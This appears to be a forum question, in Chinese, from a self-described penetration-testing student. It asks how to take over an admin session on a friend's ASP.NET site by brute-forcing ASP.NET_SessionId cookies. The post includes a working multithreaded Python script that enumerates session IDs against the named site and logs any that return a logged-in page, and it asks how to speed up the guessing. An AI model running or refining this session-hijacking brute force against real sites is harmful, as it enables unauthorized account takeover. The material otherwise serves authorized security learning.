我是这里的新手。我正在为我的大学项目学习渗透测试,并希望以此发展未来。我有一个由我的朋友托管的网站(在双方同意的情况下),他挑战我入侵它。它是asp.net 中的一个简单站点,大概2.0 它使用表单登录该站点。据我了解,他正在生成 ASP.NET_SessionId 来存储身份验证。我试图从该站点退出,但 cookie 没有过期。现在我想尝试使用相同的方法登录到管理员帐户。我不知道他从哪里以管理员身份登录。我写了这个蛮力 python 脚本来做同样的事情,有 50 个线程。好像我产生了 50 多个然后会话开始超时。
#!/usr/bin/python
import urllib2
import string
import itertools
import threading
threadLimiter = threading.BoundedSemaphore(50)
class checkPage(threading.Thread):
def __init__(self,sessionID):
threading.Thread.__init__(self)
self.sessionID=sessionID
def run(self):
threadLimiter.acquire()
try:
opener = urllib2.build_opener()
opener.addheaders.append(('Cookie', 'ASP.NET_SessionId='+self.sessionID))
f = opener.open("http://mysite.webber.org/default.aspx")
page = f.read()
f.close()
#if logged in write to file
if 'Welcome' in page:
k = open("session.txt","a")
k.write(self.sessionID+'\n')
k.close()
finally:
threadLimiter.release()
count = 0
for state in itertools.product('abcdefghijklmnopqrstuvwxyz012345', repeat=24):
sessionID = ''.join(state)
try:
thread=checkPage(sessionID)
thread.start()
except:
print "thread cannot be started"
break
if count==50:
thread.join()
count = 0
count += 1
根据 ASP.net,会话 ID 由 CreateSessionId 函数生成,并提供 24 字节的输出,其中包含 az 和 0-5。
我打算窃取管理员会话 ID,然后再次使用它登录页面并获得管理员访问权限。
这是一个正确的方法吗?
我认为这种蛮力可能会永远持续下去。减少蛮力时间的最佳选择是什么
谢谢你。